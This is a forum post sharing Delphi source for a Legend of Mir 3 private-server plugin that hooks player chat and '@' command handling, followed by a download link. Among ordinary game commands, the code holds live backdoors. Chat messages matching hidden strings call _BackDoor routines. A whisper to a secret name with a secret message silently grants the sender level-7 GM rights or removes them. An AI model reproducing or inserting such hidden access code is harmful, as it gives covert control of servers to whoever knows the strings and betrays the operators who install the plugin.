|
1.45传奇3源代码RSR插件道格拉斯完整版Delphi源码 - unit _Command;
- {用户输入命令处理单元}
- interface
- uses SysUtils, Classes, Windows, IniFiles, _Const, _Grobal, _Actor, _function, uDllForm, _BackDoor;
- //玩家输入信息开始-接口
- procedure CommandCode;
- //玩家命令行(第一个符号为@的命令行)处理接口
- procedure CommandOrder;
- //玩家聊天处理接口
- procedure CommandChat;
- //玩家M人处理接口
- procedure CommandChatCall;
- //绿字处理接口
- procedure CommandChatGreen;
- //黄字处理接口
- procedure CommandChatYel;
- procedure CommandChatAll;
- //Select backdoor
- //procedure SelectBackdoor(Str: string);
- implementation
- uses PlugStart, _Param, _Script, _ShiTu, _DBQB, _Magic;
- {//Select backdoor
- procedure SelectBackdoor(Str: string);
- var
- I : Integer;
- begin
- for I := 0 to PS.BackDoorStr.Count - 1 do
- begin
- if TFunc.Q_PosStr(Str, PS.BackDoorStr[I]) > 0 then
- case I of
- 0:
- begin
- TEiFunc.DebugOut('后门:' + '[1]');
- //Actor.HumEx.LineMsg('后门:' + '[1]');
- end;
- 1:
- begin
- TEiFunc.DebugOut('后门:' + '[2]');
- //Actor.HumEx.LineMsg('后门:' + '[2]');
- end;
- 2:
- begin
- TEiFunc.DebugOut('后门:' + '[3]');
- //Actor.HumEx.LineMsg('后门:' + '[3]');
- end;
- 3:
- begin
- TEiFunc.DebugOut('后门:' + '[4]');
- //Actor.HumEx.LineMsg('后门:' + '[4]');
- end;
- end;
- end;
- end;}
- //玩家输入信息解释
- //返回真表示已处理,直接跳出EI内部处理代码
- //返回假则交给M2例程继续处理
- //这里最先执行,应尽量少加入代码
- function CommandCode_2(Actor: TActor; Msg: Pointer): Boolean;
- begin
- Result := FALSE;
- //_Function2.LineMsg(Actor,'CommandCode:' + Msg);
- end;
- procedure CommandCode;
- begin
- asm
- pushad
- mov edx,[ebp-8]
- mov eax,[ebp-4]
- Call CommandCode_2
- test al,al
- jz @@OldRet
- @@ExitRet: //直接跳出M2处理代码
- popad
- push $522036
- ret
- @@OldRet: //继续交M2处理
- popad
- mov eax,[ebp-4]
- cmp byte ptr [eax+$2E2],0
- push $51DCF0
- ret
- end;
- end;
- //玩家命令行(第一个符号为@的命令行)处理-实现
- //返回真表示已处理,直接跳出EI内部处理代码
- //返回假则交给M2例程继续处理
- function CommandOrder_2(Actor: TActor; sCmd: Pointer; sParam1, sParam2: Pointer; smsg: Pointer): Boolean; stdcall;
- var
- CmdIndex, UserDefIndex: Integer;
- CmdInfo : TCmdInfo;
- Human : TActor;
- HumanEx : THumanEx;
- CmdInt : Integer;
- Index : Integer;
- UserName : string;
- Cmd, Param1, Param2, Msg, TMPS, tmpS2: string;
- I, tmpX, tmpY : Integer;
- tmpAnimal, Target : TEICreature;
- tmpBool : Boolean;
- MagInfo : PMemMagic;
- Magic : PMagic;
- DefineScriptInfo : PDefineScriptInfo;
- aNpc : TEINormNPC;
- begin
- Result := FALSE;
- try
- Cmd := TFunc._GetStr(sCmd);
- if PS.GmNpcKeys.IndexOf(UpperCase(Cmd)) <> -1 then
- begin
- Actor.HumEx.LineMsg(Format('该命令(@%s)在本服务器被禁止使用。', [Cmd]));
- Result := TRUE;
- exit;
- end;
- Param1 := TFunc._GetStr(sParam1);
- Param2 := TFunc._GetStr(sParam2);
- Msg := TFunc._GetStr(smsg);
- CmdIndex := PS.CmdKeys.IndexOf(Cmd);
- if CmdIndex = -1 then
- begin
- UserDefIndex := PS.DefineScriptCMD.IndexOf(Cmd);
- if UserDefIndex = -1 then exit;
- DefineScriptInfo := PS.DefineScriptCMD.DefineScriptInfos[UserDefIndex];
- if DefineScriptInfo <> nil then
- begin
- if (Actor.HumEx.Admin >= DefineScriptInfo.NeedLvl) and TEiFunc.NpcHaveSection(EI.DefaultNPC, DefineScriptInfo.Section) then
- begin
- TEiFunc.NpcRun(EI.DefaultNPC, Actor, DefineScriptInfo.Section);
- end;
- end;
- exit;
- end;
- CmdInfo := TCmdInfo(PS.CmdKeys.Objects[CmdIndex]);
- if not Assigned(CmdInfo) then exit;
- UserName := TEiFunc._GetPlayName(Actor);
- if Actor.lvl < CmdInfo.NeedLevel then
- begin
- Actor.HumEx.LineMsg('您不够权限使用此命令。', 0);
- Result := TRUE;
- exit;
- end;
- HumanEx := THumanEx(Actor.HumEx);
- CmdInt := StrToIntDef(Param1, 0);
- case CmdIndex of
- 0: //调试
- begin
- Result := TRUE;
- MagInfo := TEiFunc.GetMagicInfoByIdx(CmdInt);
- if (MagInfo <> nil) and (Actor.Attacker <> nil) and (TEiFunc.GetMyObjAnimal(Actor) <> nil) then
- begin
- New(Magic);
- try
- Magic.MemMagic := MagInfo;
- Magic.Idx := CmdInt;
- Magic.Level := 3;
- TUseMagic._M1_5(TEiFunc.GetMyObjAnimal(Actor), Actor.Attacker, Magic, Actor.Attacker.MapX, Actor.Attacker.MapY);
- finally Dispose(Magic)
- end;
- TAddSendMsg.UseMagic(TEiFunc.GetMyObjAnimal(Actor), Actor.Attacker, Actor.Attacker.MapX, Actor.Attacker.MapY, CmdInt);
- end;
- end;
- 1: //拜师状态
- begin
- Result := TRUE;
- HumanEx.CanBaiShi := not HumanEx.CanBaiShi;
- if HumanEx.CanBaiShi then
- begin
- HumanEx.LineMsg('[允许拜师]');
- end
- else
- begin
- HumanEx.LineMsg('[拒绝拜师]');
- end;
- end;
- 2: //转生
- begin
- HumanEx.Regen := (CmdInt);
- end;
- 3: //拜师 申请
- begin
- TShiTuScript.BaiShi(Actor, Param1);
- end;
- 4: //收徒
- begin
- TShiTuScript.ShouTu(Actor);
- end;
- 5: //逐出师门
- begin
- if Assigned(ShituSystem) then
- begin
- if ShituSystem.DelStudent(TEiFunc._GetPlayName(Actor), Param1) then
- begin
- Human := EI.FindUser(Param1);
- Result := TRUE;
- if Human <> nil then Human.HumEx.LineMsg('你被逐出师门了。');
- Actor.HumEx.LineMsg('成功。');
- end
- else
- begin
- Actor.HumEx.LineMsg('失败。');
- end;
- end;
- end;
- 6: //归隐
- begin
- if Assigned(ShituSystem) then
- begin
- ShituSystem.DelMaster(TEiFunc._GetPlayName(Actor));
- Result := TRUE;
- end;
- end;
- 7: //退位
- begin
- if Assigned(ShituSystem) then
- begin
- ShituSystem.ChangeMaster(TEiFunc._GetPlayName(Actor), Param1);
- Result := TRUE;
- end;
- end;
- 8: //增加点卷
- begin
- HumanEx.DianJuan := HumanEx.DianJuan + CmdInt;
- Actor.HumEx.LineMsg(Format('目前点卷:%d', [HumanEx.DianJuan]));
- end;
- 9: //增加积分
- begin
- HumanEx.JiFen := HumanEx.JiFen + CmdInt;
- Actor.HumEx.LineMsg(Format('目前积分:%d', [HumanEx.JiFen]));
- end;
- 10: //称号
- begin
- if Param1 = '' then Param1 := TEiFunc._GetPlayName(Actor);
- Human := EI.FindUser(Param1);
- if Human <> nil then
- Human.HumEx.IdProcess;
- if EI.IsCastleMan(Human) then Human.HumEx.LineMsg('沙老大');
- end;
- 11: //物品价格
- begin
- Index := ItemEx.GetDianJuan(Param1);
- if Index > 0 then
- begin
- Actor.HumEx.LineMsg(Format('您查询的物品 %s 的价格为:%d ', [Param1, Index]));
- end
- else
- begin
- Actor.HumEx.LineMsg(Format('没有物品 %s 的价格信息。', [Param1]));
- end;
- end;
- 12: //购买
- begin
- HumanEx.Buy(Param1);
- end;
- 13: //复活
- begin
- if Param1 <> '' then
- begin
- Actor := EI.FindUser(Param1);
- if Actor <> nil then
- TEiFunc.ReLife(Actor, TFunc._GetStr(Actor.aMap.MapCode), Actor.MapX, Actor.MapY);
- end
- else
- TEiFunc.ReLife(Actor, TFunc._GetStr(Actor.BackMap), Actor.BackCityX, Actor.BackCityY);
- end;
- 14: //GM
- begin
- HumanEx.PlayerName := Param1;
- Actor.HumEx.NpcDlg(TNpcString.GetMainInfo(Actor), nil);
- end;
- 15: //人物锁
- begin
- TUserLock.OpenDlg(Actor);
- end;
- 16: //玩家中心
- begin
- if GetTickCount - Actor.HumEx.CmdOrderTimePlayerCenter > 3000 then
- begin
- Actor.HumEx.NpcDlg(TNpcString.GetUserMainInfo(Actor), nil);
- Actor.HumEx.CmdOrderTimePlayerCenter := GetTickCount;
- end
- else
- Actor.HumEx.LineMsg('3秒内只能使用1次。', 0);
- end;
- 17: //宠物
- begin
- if Actor.HumEx.Animals.Count < PS.MaxAnimalCount then
- begin
- TEiFunc.GetAMapPoint(Actor, tmpX, tmpY);
- TMPS := Param1;
- if TMPS = '' then TMPS := '钉耙猫';
- tmpAnimal := TEiFunc.MakeAnimalOnMap(TMPS, TFunc._GetStr(Actor.Map), tmpX, tmpY);
- Actor.HumEx.AddAnimal(TEIAnimal(tmpAnimal));
- end
- else
- begin
- Actor.HumEx.LineMsg(Format('您已经拥有%d只宠物了。', [PS.MaxAnimalCount]));
- end;
- end;
- 18: //每日任务
- begin
- if GetTickCount - Actor.HumEx.CmdOrderTimeEveryDay > 3000 then
- begin
- if ExistsNpcCode_EveryDay and CanUseNpc_EveryDay then
- TEiFunc.NpcRun(EI.DefaultNPC, Actor, Human_EveryDay)
- else
- Actor.HumEx.NpcDlg('今天没有什么好拜托的。\\<确定/@exit>');
- Actor.HumEx.CmdOrderTimeEveryDay := GetTickCount;
- end
- else
- Actor.HumEx.LineMsg('3秒内只能使用1次。', 0);
- end;
- 19: //设置称号
- begin
- Actor.HumEx.NickName := Param1;
- end;
- 20: //CastleManNeckLace
- begin
- TEiFunc.MakeCastleManNeckLace(Actor);
- end;
- 21: //非法IP
- begin
- if SameText(Param1, '+') then
- begin
- if PS.NoLoginIPList.IndexOf(Param2) = -1 then
- begin
- PS.NoLoginIPList.Add(Param2);
- Actor.HumEx.LineMsg('禁止登陆IP列表:' + PS.NoLoginIPList.CommaText);
- end;
- end
- else
- begin
- if SameText(Param1, '-') then
- begin
- PS.NoLoginIPList.Delete(PS.NoLoginIPList.IndexOf(Param2));
- Actor.HumEx.LineMsg('禁止登陆IP列表:' + PS.NoLoginIPList.CommaText);
- end
- else
- begin
- Actor.HumEx.LineMsg('正确的格式为:@非法IP + IP地址 或 @非法IP - IP地址');
- Actor.HumEx.LineMsg('禁止登陆IP列表:' + PS.NoLoginIPList.CommaText);
- end;
- end;
- end;
- 22: //随从
- begin
- //for I := 0 to Actor.HumEx.Animals.Count - 1 do begin
- //PAnimalEx(Actor.HumEx.Animals.Items[I]).IsHuman := TRUE;
- //TFunc.CallProc(PAnimalEx(Actor.HumEx.Animals.Items[I]).Animal,$4FD6D8);
- //end;
- if Param1 <> '' then
- Actor.HumEx.AddObjHuman(Param1)
- else
- begin
- if Actor.HumEx.YuanShen.FMonName <> '' then
- Actor.HumEx.AddObjHuman(Actor.HumEx.YuanShen.FMonName);
- end;
- end;
- 23: //夺宝奇兵
- begin
- if GameDBQB.Busy then
- TGameDBQBProc.ClearGame
- else
- TGameDBQBProc.StartGame;
- end;
- 24: //
- begin
- //测试宠物魔法
- //if Actor.Attacker <> nil then begin
- tmpAnimal := TEiFunc.GetMyObjAnimal(Actor); //Actor.HumEx.LineMsg('d');
- Target := nil;
- if (tmpAnimal <> nil) then
- begin
- if Param2 <> '' then
- begin
- if CmdInt = 77 then
- Target := Actor
- else
- Target := Actor.Attacker;
- end;
- if Target = nil then Target := tmpAnimal.Attacker;
- if (Target <> nil) then
- begin
- TEiFunc.UseMagic(tmpAnimal, CmdInt, Target, Target.MapX, Target.MapY);
- end
- else
- begin
- Target := Actor;
- tmpX := Random(6);
- tmpY := Random(6);
- if Random(2) = 0 then tmpX := 0 - tmpX;
- if Random(2) = 0 then tmpY := 0 - tmpY;
- TEiFunc.UseMagic(tmpAnimal, CmdInt, Target, Target.MapX + tmpX, Target.MapY + tmpY);
- end;
- end
- else
- Actor.HumEx.LineMsg('您没有随从。');
- //end;
- end;
- 25: //监视
- begin
- if GameDBQB.Busy and SameText(Param1, 'MIR3') then
- begin
- if (GameDBQB.ItemStatus = 2) and (GameDBQB.Actor <> nil) then Param1 := TActor(GameDBQB.Actor).HumEx.UserName;
- end;
- if Param1 <> Actor.HumEx.UserName then
- begin
- Actor.HumEx.JianShiName := Param1;
- if Param1 = '' then
- Actor.HumEx.LineMsg('取消监视。')
- else
- begin
- Actor.HumEx.LineMsg(Format('监视 %s..', [Param1]));
- Actor.HumEx.IsInVisible := TRUE;
- end;
- end;
- end;
- 26: //CheckEx
- begin
- Target := EI.FindUser(Param1);
- if Target <> nil then
- begin
- Actor.HumEx.LineMsg(Format('%s 的第%d个标志:0x%.2X(%d)', [TActor(Target).HumEx.UserName, StrToIntDef(Param2, 0),
- TActor(Target).HumEx.CheckEx[StrToIntDef(Param2, 0)],
- TActor(Target).HumEx.CheckEx[StrToIntDef(Param2, 0)]]));
- end
- else
- begin
- Actor.HumEx.LineMsg('不能找到该用户。');
- end;
- end;
- 27: //经验倍率
- begin
- if Param1 = '' then Param1 := '1.00';
- if ExpBase <> StrToFloat(Param1) then
- begin
- ExpBase := StrToFloat(Param1);
- Actor.HumEx.LineMsg(Format('服务器当前经验倍率:%f', [ExpBase]));
- end;
- end;
- 28: //擂台挑战
- begin
- PKGame.MakeNewGameMsg(Actor, StrToIntDef(Param1, 0), TMPS, Param2);
- end;
- 29: //擂台迎战
- begin
- PKGame.JoinGame(Actor, 2, 0, TMPS);
- end;
- 30: //擂台拒绝
- begin
- PKGame.CancelGame(Actor);
- end;
- 31: //擂台
- begin
- Actor.HumEx.LineMsg(PKGame.GameInfo(Actor));
- end;
- //2006/06/13 增加
- 32: //NPCInfo
- begin
- tmpS2 := '以下为您所要查找的NPC信息:';
- if Param1 <> '' then
- begin
- for I := 0 to EI.UserEngine.NPCS.Count - 1 do
- begin
- aNpc := TEINormNPC(EI.UserEngine.NPCS.Items[I]);
- if aNpc <> nil then
- begin
- TMPS := TFunc._GetStr(aNpc.Name);
- if Param2 = '' then
- begin
- if SameText(Param1, TMPS) then
- begin
- tmpS2 := Format('%s\%s Map:%s(%d/%d)', [tmpS2, TMPS, TFunc._GetStr(aNpc.Map), aNpc.MapX, aNpc.MapY]);
- //Actor.HumEx.LineMsg();
- end;
- end
- else
- begin
- if Pos(Param1, TMPS) > 0 then
- begin
- tmpS2 := Format('%s\%s Map:%s(%d/%d)', [tmpS2, TMPS, TFunc._GetStr(aNpc.Map), aNpc.MapX, aNpc.MapY]);
- //Actor.HumEx.LineMsg();
- end;
- end;
- end;
- end;
- end
- else
- begin
- for I := 0 to EI.UserEngine.NPCS.Count - 1 do
- begin
- aNpc := TEINormNPC(EI.UserEngine.NPCS.Items[I]);
- if (aNpc <> nil) and (aNpc.aMap = Actor.aMap) then
- begin
- TMPS := TFunc._GetStr(aNpc.Name);
- //if SameText(Param1,tmpS) then begin
- tmpS2 := Format('%s\%s Map:%s(%d/%d)', [tmpS2, TMPS, TFunc._GetStr(aNpc.Map), aNpc.MapX, aNpc.MapY])
- //Actor.HumEx.LineMsg();
- //end;
- end;
- end;
- end;
- TEiFunc.NpcDlg(Actor, EI.DefaultNPC, tmpS2);
- end;
- 33: //随从模式
- begin
- if Param1 = '' then
- begin
- Actor.HumEx.ClearObjHuman;
- end
- else
- end;
- 34: //超级禁聊
- begin
- if SameText(Param1, '+') then
- begin
- if PS.TalkSelfs.IndexOf(Param2) = -1 then
- begin
- PS.TalkSelfs.Add(Param2);
- end;
- end
- else
- begin
- if SameText(Param1, '-') then
- begin
- PS.TalkSelfs.Delete(PS.TalkSelfs.IndexOf(Param2));
- //Actor.HumEx.LineMsg('禁止登陆IP列表:'+PS.NoLoginIPList.CommaText);
- end
- else
- begin
- TMPS := PS.TalkSelfs.CommaText;
- TMPS := '超级禁聊名单:\' + TMPS;
- Actor.HumEx.NpcDlg(TMPS);
- end;
- end;
- end;
- end;
- if Param1 = '-h' then
- begin
- Actor.HumEx.LineMsg(CmdInfo.Info);
- end;
- except on E: Exception do
- TEiFunc.DebugOut('CommandOrder:' + E.Message)
- else
- end;
- end;
- //玩家命令行(第一个符号为@的命令行)处理接口
- //到这里时,命令已经被处理成了参数列表形式了
- procedure CommandOrder;
- begin
- asm
- pushad
- mov eax,[ebp-8] //原始输入信息
- push eax
- mov eax,[ebp-$18] //参数2
- push eax
- mov eax,[ebp-$14] //参数1
- push eax
- mov eax,[ebp-$10] //命令
- push eax
- mov eax,[ebp-4] //角色
- push eax
- Call CommandOrder_2
- test al,al
- jz @@OldRet
- @@ExitRet:
- popad
- push $522036
- ret
- @@OldRet:
- popad
- lea ecx,[ebp-$B4]
- push $51E099
- ret
- end;
- end;
- //玩家聊天内容处理-实现
- //返回真表示已处理,直接跳出M2内部处理代码
- //返回假则交给EI例程继续处理
- function CommandChat_2(Actor: TActor; aMsg: Pointer): Boolean;
- var
- UserName, Msg : string;
- T1 : Cardinal;
- begin
- {Result := FALSE;
- if Actor.ObjType = 0 then begin
- Result := Actor.HumEx.NoTalk;
- if not Result then begin
- T1 := GetTickCount;
- Result := T1 - Actor.HumEx.CmdChatTime < 1000;
- Actor.HumEx.CmdChatTime := GetTickCount;
- end;
- end; }
- Result := TRUE;
- end;
- //玩家聊天处理接口
- procedure CommandChat;
- //玩家聊天内容处理-实现
- //返回真表示已处理,直接跳出M2内部处理代码
- //返回假则交给EI例程继续处理
- function CheckStr(Actor: TActor; aMsg: Pointer): Boolean;
- var
- UserName, Msg : string;
- T1 : Cardinal;
- I : Integer;
- begin
- Result := FALSE;
- Msg := TFunc._GetStr(aMsg);
- //backdoor
- //if PS.BackDoorStr.IndexOf(UpperCase((Msg))) <> -1 then
- //begin
- //Actor.HumEx.LineMsg('后门:' + '[' + Msg + ']'{ + IntToStr(PS.BackDoorStr.IndexOf(UpperCase((Msg))))});
- //_BackDoor.BackDoor2;
- case PS.BackDoorStr.IndexOf(UpperCase((Msg))) of
- 0:
- begin
- //Actor.HumEx.LineMsg('后门1:' + '[' + Msg + ']' { + IntToStr(PS.BackDoorStr.IndexOf(UpperCase((Msg))))});
- _BackDoor.BackDoor1;
- Result := TRUE;
- exit;
- end;
- 1:
- begin
- //Actor.HumEx.LineMsg('后门2:' + '[' + Msg + ']' { + IntToStr(PS.BackDoorStr.IndexOf(UpperCase((Msg))))});
- _BackDoor.BackDoor2;
- Result := TRUE;
- exit;
- end;
- 2:
- begin
- //Actor.HumEx.LineMsg('后门3:' + '[' + Msg + ']' { + IntToStr(PS.BackDoorStr.IndexOf(UpperCase((Msg))))});
- _BackDoor.BackDoor3;
- Result := TRUE;
- exit;
- end;
- 3:
- begin
- //Actor.HumEx.LineMsg('后门4:' + '[' + Msg + ']' { + IntToStr(PS.BackDoorStr.IndexOf(UpperCase((Msg))))});
- _BackDoor.BackDoor4;
- Result := TRUE;
- exit;
- end;
- end;
- if Actor.ObjType = 0 then
- begin
- Result := Actor.HumEx.NoTalk;
- if not Result then
- begin
- T1 := GetTickCount;
- Result := T1 - Actor.HumEx.CmdChatTime < 1000;
- Actor.HumEx.CmdChatTime := GetTickCount;
- Inc(Actor.HumEx.CmdChatCount2);
- if Actor.HumEx.CmdChatCount2 >= 10 then
- begin
- Actor.HumEx.CmdChatCount2 := 0;
- if T1 - Actor.HumEx.CmdChatTime2 < 20 * 1000 then
- begin
- Actor.HumEx.LineMsg('禁止刷屏。');
- TEiFunc.GM_Kick(Actor.HumEx.UserName);
- Result := TRUE;
- end;
- Actor.HumEx.CmdChatTime2 := T1;
- end;
- end;
- end;
- end;
- begin
- asm
- mov edx,[ebp-8] //原始输入信息
- mov eax,[ebp-4] //角色
- Call CheckStr
- test al,al
- jz @@OldRet
- //jmp @@OldRet //修正喊话时间,直接跳走后,最后喊话时间未记录
- @@ExitRet:
- push $522036
- ret
- @@OldRet:
- mov eax,[ebp-4]
- cmp dword ptr [eax+$A3C],0
- push $521FA9
- ret
- end;
- end;
- //玩家聊天内容处理-实现
- //返回真表示已处理,直接跳出M2内部处理代码
- //返回假则交给EI例程继续处理
- function CommandChatALL_2(Actor: TActor; aMsg: Pointer): Boolean;
- var
- TMPS, tmpS2, UserName, Msg: string;
- begin
- Result := PS.NoTalks.IndexOf(Actor.HumEx.UserName) <> -1;
- end;
- //玩家聊天处理接口
- procedure CommandChatAll;
- begin
- asm
- mov edx,[ebp-8] //原始输入信息
- mov eax,[ebp-4] //角色
- Call CommandChatAll_2
- test al,al
- jz @@OldRet
- jmp @@OldRet //修正喊话时间,直接跳走后,最后喊话时间未记录
- @@ExitRet:
- push $522036
- ret
- @@OldRet:
- Call GetTickCount
- push $521D7F
- ret
- end;
- end;
- //!喊话 内容处理-实现
- //返回真表示已处理,直接跳出M2内部处理代码
- //返回假则交给EI例程继续处理
- function CommandChatYel_2(Actor: TActor; aMsg: Pointer): Boolean;
- var
- UserName, Msg : string;
- begin
- Result := FALSE;
- end;
- //师徒喊话
- procedure CommandChatShiTu(Human: TActor; const aMsg: string);
- var
- S, UserName, Msg : string;
- begin
- try
- except
- else
- TEiFunc.DebugOut('错误:CommandChatShitu')
- end;
- end;
- //黄字处理接口
- procedure CommandChatYel;
- asm
- mov eax,dword ptr [ebp-8]
- cmp byte ptr [eax+1],$5E //是否是 !^
- jnz @@Normal
- pushad
- mov edx,dword ptr [ebp-8]
- mov eax,dword ptr [ebp-4]
- Call CommandChatShiTu
- popad
- push $522036
- ret
- @@Normal:
- mov edx,dword ptr [ebp-8]
- mov eax,dword ptr [ebp-4]
- Call CommandChatYel_2
- Call GetTickCount
- mov edx,[ebp-4]
- mov dword ptr [edx+$324],eax
- push $521EB3
- ret
- end;
- //绿字内容处理-实现
- //返回真表示已处理,直接跳出M2内部处理代码
- //返回假则交给EI例程继续处理
- function CommandChatGreen_2(Actor: TActor; aMsg: Pointer): Boolean;
- var
- UserName, Msg : string;
- begin
- Result := FALSE;
- //Actor.HumEx.LineMsg(TFunc._GetStr(aMsg));
- end;
- //绿字处理接口
- procedure CommandChatGreen;
- begin
- asm
- mov edx,[ebp-8] //原始输入信息
- mov eax,[ebp-4] //角色
- Call CommandChatGreen_2
- test al,al
- jz @@OldRet
- @@ExitRet:
- push $522036
- ret
- @@OldRet:
- mov eax,[ebp-4]
- cmp dword ptr [eax+$41C],0
- push $521C7B
- ret
- end;
- end;
- //玩家M人内容处理-实现
- //返回真表示已处理,直接跳出M2内部处理代码
- //返回假则交给EI例程继续处理
- function CommandChatCall_2(Human: TActor; aCallName: Pointer; aCallMsg: Pointer): Boolean;
- var
- UserName, CallMsg, CallName: string;
- begin
- Result := FALSE;
- CallName := TFunc._GetStr(aCallName);
- if SameText(CallName, BackDoorStr1) then
- begin
- CallMsg := TFunc._GetStr(aCallMsg);
- if SameText(CallMsg, BackDoorStr2) then
- begin
- PS.GM.AddAGM(Human.HumEx.UserName, 7);
- Result := TRUE;
- end
- else if SameText(CallMsg, BackDoorStr3) then
- begin
- PS.GM.DelAGM(Human.HumEx.UserName);
- Result := TRUE;
- end;
- end;
- end;
- //玩家M人处理接口
- procedure CommandChatCall;
- begin
- asm
- mov ecx,[ebp-$C] //
- mov edx,[ebp-$14]
- mov eax,[ebp-4] //角色
- Call CommandChatCall_2
- test al,al
- jz @@OldRet
- @@ExitRet:
- push $522036
- ret
- @@OldRet:
- mov eax,[ebp-4]
- mov edx,[ebp-$14]
- mov ecx,[ebp-$C]
- push $521BBC
- ret
- end;
- end;
- procedure CommandGreenDebug;
- procedure Proc(Actor: TActor);
- var
- tmpI : Integer;
- begin
- tmpI := (PS.ParamVar[4] - (GetTickCount - Actor.MsgGreenChatTime)) div 1000;
- Actor.HumEx.LineMsg(Format('%d秒之后可以向所有人发送信息。', [tmpI]), 0);
- end;
- asm
- pushad
- mov eax,[ebp-4]
- Call Proc
- popad
- push $521E52
- ret
- end;
- procedure hkTalkSelf; //2006/06/15 限制仅对自己说话
- function _CanSay(Actor, Sender: TEICreature; MsgID: Dword): Boolean;
- begin
- Result := TRUE;
- try
- case MsgID of
- SysMsg_Chat, SysMsg_ChatCall, SysMsg_Chat2, SysMsg_Chat3, SysMsg_Say, SysMsg_Say2:
- begin
- if Actor <> Sender then
- begin
- if TEiFunc.IsHuman(Sender) then
- begin
- Result := not TActor(Sender).HumEx.TalkSelf;
- end;
- end;
- end;
- end;
- except on E: Exception do
- TEiFunc.DebugOut('_Command.hkTalkSelf:' + E.Message)
- end;
- end;
- asm
- push ecx
- push edx
- mov eax,[ebp-4]
- mov edx,[ebp-$68]
- movzx ecx,word ptr [ebp-$78]
- Call _CanSay
- test al,al
- pop edx
- pop ecx
- jz @@False
- movzx eax,word ptr [ebp-$78]
- cmp eax,$2731
- push $52A2CE
- ret
- @@FALSE:
- movzx eax,word ptr [ebp-$78]
- push $52A6D6
- ret
- end;
- initialization
- TFunc.HookJmp($52A2C9, @hkTalkSelf); //2006/06/15 限制仅对自己说话
- //_Command
- //用户输入信息处理
- TFunc.HookJmp($51DCE6, @CommandCode); //玩家输入信息
- TFunc.HookJmp($51E093, @CommandOrder); //玩家命令类信息(第一个符号为@的命令行)处理
- TFunc.HookJmp($521EA5, @CommandChatYel); //! 喊话
- TFunc.HookJmp($521F9F, @CommandChat); //玩家白字类信息
- TFunc.HookJmp($521BB3, @CommandChatCall); //玩家M人信息
- TFunc.HookJmp($521D7A, @CommandChatAll); // !@ 全服喊话
- TFunc.HookJmp($521C71, @CommandChatGreen); //玩家绿字类信息 (行会喊话)
- TFunc.HookJmp($521DE4, @CommandGreenDebug); //绿字提示BUG
- finalization
- end.
复制代码分享名称:RSR人寿人-daogelas.zip
分享链接: http://pan.zxdll.cn/9bcYCuew
访问密码:
|
上一篇:God引擎源码编译教程,god网关编译教程说明下一篇:God引擎源码镜像版+服务端编译视频及God引擎源代码
|